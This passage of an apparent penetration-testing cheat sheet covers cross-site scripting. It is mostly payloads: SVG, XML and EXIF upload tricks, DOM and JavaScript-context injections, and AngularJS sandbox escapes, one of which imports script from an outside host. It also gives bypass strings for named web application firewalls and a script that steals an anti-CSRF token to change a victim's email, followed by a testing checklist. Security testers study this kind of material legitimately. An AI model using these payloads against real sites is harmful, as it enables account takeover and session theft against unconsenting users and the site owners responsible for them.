#If that works, upload an SVG with the following content and try rendering it using the text editor:
<svg xmlns="http://www.w3.org/2000/svg">
    <script>alert(document.domain)</script>
</svg>

# XSS in SVG 3:
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>

# XSS in XML
<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
</body>
</html>

# https://brutelogic.com.br/blog/file-upload-xss/

" ="" '></><script></script><svg onload"="alertonload=alert(1)"" onload=setInterval'alert\x28document.domain\x29'

# XSS in existent jpeg:
exiftool -Artist='"><svg onload=alert(1)>' xss.jpeg

# XSS in url (and put as header)
http://acme.corp/?redir=[URI_SCHEME]://gremwell.com%0A%0A[XSS_PAYLOAD]

# XSS in XML
<?xml version="1.0" encoding="UTF-8"?>
<html xmlns:html="http://w3.org/1999/xhtml">
<html:script>prompt(document.domain);</html:script>
</html>
```

### **DOM XSS**

```shellscript
<img src=1 onerror=alert(1)>
<iframe src=javascript:alert(1)>
<details open ontoggle=alert(1)>
<svg><svg onload=alert(1)>
data:text/html,<img src=1 onerror=alert(1)>
data:text/html,<iframe src=javascript:alert(1)>
<iframe src=TARGET_URL onload="frames[0].postMessage('INJECTION','*')">
"><svg onload=alert(1)>
javascript:alert(document.cookie)
\"-alert(1)}//
```

### **XSS to CSRF**

```shellscript
# Example:

# Detect action to change email, with anti csrf token, get it and paste this in a comment to change user email:

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/email/change-email', true);
    changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
```

### **AngularJS Sandbox**

```shellscript
# Removed in AngularJS 1.6
# Is a way to avoid some strings like window, document or __proto__.

# Without strings:
/?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

# With CSP:

<script>
location='https://your-lab-id.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>

# v 1.6 and up
{{$new.constructor('alert(1)')()}}
<x ng-app>{{$new.constructor('alert(1)')()}}

{{constructor.constructor('alert(1)')()}}
{{constructor.constructor('import("https://six2dez.xss.ht")')()}}
{{$on.constructor('alert(1)')()}}
{{{}.")));alert(1)//"}}
{{{}.")));alert(1)//"}}
toString().constructor.prototype.charAt=[].join; [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,11 4,116,40,49,41)
```

### **XSS in JS**

```shellscript
# Inside JS script:
</script><img src=1 onerror=alert(document.domain)>
</script><script>alert(1)</script>

# Inside JS literal script:
'-alert(document.domain)-'
';alert(document.domain)//
'-alert(1)-'

# Inside JS that escape special chars:
If ';alert(document.domain)// is converted in \';alert(document.domain)//
Use \';alert(document.domain)// to obtain \\';alert(document.domain)//
\'-alert(1)//

# Inside JS with some char blocked:
onerror=alert;throw 1
/post?postId=5&%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window%2b%27%27,{x:%27

# Inside {}
${alert(document.domain)}
${alert(1)}
```

### XSS Waf Bypasses

```shellscript
# Only lowercase block
<sCRipT>alert(1)</sCRipT>

# Break regex
<script>%0aalert(1)</script>

# Double encoding
%2522

# Recursive filters
<scr<script>ipt>alert(1)</scr</script>ipt>

# Inject anchor tag
<a/href="j&Tab;a&Tab;v&Tab;asc&Tab;ri&Tab;pt:alert&lpar;1&rpar;">

# Bypass whitespaces
<svg·onload=alert(1)>

# Change GET to POST request

# Imperva Incapsula
%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%25 23x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%25 26%2523x29%3B%22%3E
<img/src="x"/onerror="[JS-F**K Payload]">
<iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';><img/src=q onerror='new Function`al\ert\`1\``'>

# WebKnight
<details ontoggle=alert(1)>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">

# F5 Big IP
<body style="height:1000px" onwheel="[DATA]">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[DATA]">
<body style="height:1000px" onwheel="[JS-F**k Payload]">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[JS-F**k Payload]">
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="prom%25%32%33%25%32%36x70;t(1)">

# Barracuda WAF
<body style="height:1000px" onwheel="alert(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">

# PHP-IDS
<svg+onload=+"[DATA]"
<svg+onload=+"aler%25%37%34(1)"

# Mod-Security
<a href="j[785 bytes of (&NewLine;&Tab;)]avascript:alert(1);">XSS</a>
1⁄4script3⁄4alert(¢xss¢)1⁄4/script3⁄4
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>

# Quick Defense:
<input type="search" onsearch="aler\u0074(1)">
<details ontoggle="aler\u0074(1)">

# Sucuri WAF
1⁄4script3⁄4alert(¢xss¢)1⁄4/script3⁄4

# Akamai
1%3C/script%3E%3Csvg/onload=prompt(document[domain])%3E
<SCr%00Ipt>confirm(1)</scR%00ipt>
# AngularJS
{{constructor.constructor(alert 1 )()}} 
```

## XSS Methodology

1. **Discovery and Mapping:**
   * [ ] Enumerate all endpoints, parameters, and user inputs.
   * [ ] Identify entry points such as query parameters, request bodies, and HTTP headers.
2. **Generate Test Inputs:**
   * [ ] Use a unique value for each entry point.
   * [ ] Inject these values to observe if and how they're reflected or stored.
3. **Submit and Observe:**
   * [ ] Submit the test inputs to all identified entry points.
   * [ ] Monitor both the immediate and subsequent HTTP responses for reflection or persistence of the input data.
4. **Context Analysis:**
   * [ ] Analyse where and how the input is reflected or stored in the application.
   * [ ] Pay attention to the surrounding HTML, JavaScript, or attribute context to craft effective payloads.
5. **Crafting XSS Payloads:**
   * [ ] Create payloads suitable for the identified contexts.
   * [ ] Alternatively use a pre-made list.
6. **Payload Testing:**
   * [ ] Fuzz with the crafted payloads.
   * [ ] For reflected XSS, test if the payload is reflected in the immediate response.
   * [ ] For stored XSS, check if the payload persists in storage and is executed in subsequent responses.
   * [ ] For DOM-based XSS, examine the source and trace the flow to any sinks in the DOM, then test payloads that interact with these sinks.
7. **Browser Execution:**
   * [ ] Execute the payloads in a browser to verify script execution.
   * [ ] Use simple JavaScript like `prompt(document.domain)` to test for execution.
8. **Document Reflections and Payload Execution:**
   * [ ] Document the precise location and context of each reflected, stored, or DOM-based input.
   * [ ] Take note of successful payloads and their outcomes.
9. **Exploit Refinement:**
   * [ ] If the initial payloads are blocked or sanitized, refine them by using different encodings or obfuscation techniques.
   * [ ] Consider all possible filter bypass techniques based on the application's behavior.
10. **Automated Scanning:**
    * [ ] Use automated scanning tools to identify potential XSS vulnerabilities. However, manual confirmation is necessary, as automated tools can generate false positives and negatives.
11. **Test for Browser Quirks:**
    * [ ] Test how different browsers interpret the payloads. Some browsers may encode or decode inputs differently, affecting payload delivery.
12. **Confirm Persistent Storage (Stored XSS):**
    * [ ] Verify that the payload is stored and executed across sessions or different user accounts, confirming a stored XSS vulnerability.
13. **Check for Execution Context (DOM-based XSS):**
    * [ ] For DOM-based XSS, use browser developer tools to check how the payload is handled by the browser's JavaScript engine.

### XSS Mindmap

![](https://1729840239-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M5x1LJiRQvXWpt04_ee%2F-M8jZ8bK3pW_X-EOhD7S%2F-M8jsw6PfhTB0iHazhcJ%2FXSS2.png?alt=media\&token=1903be88-fdba-4466-b3b9-9cecee840a04)
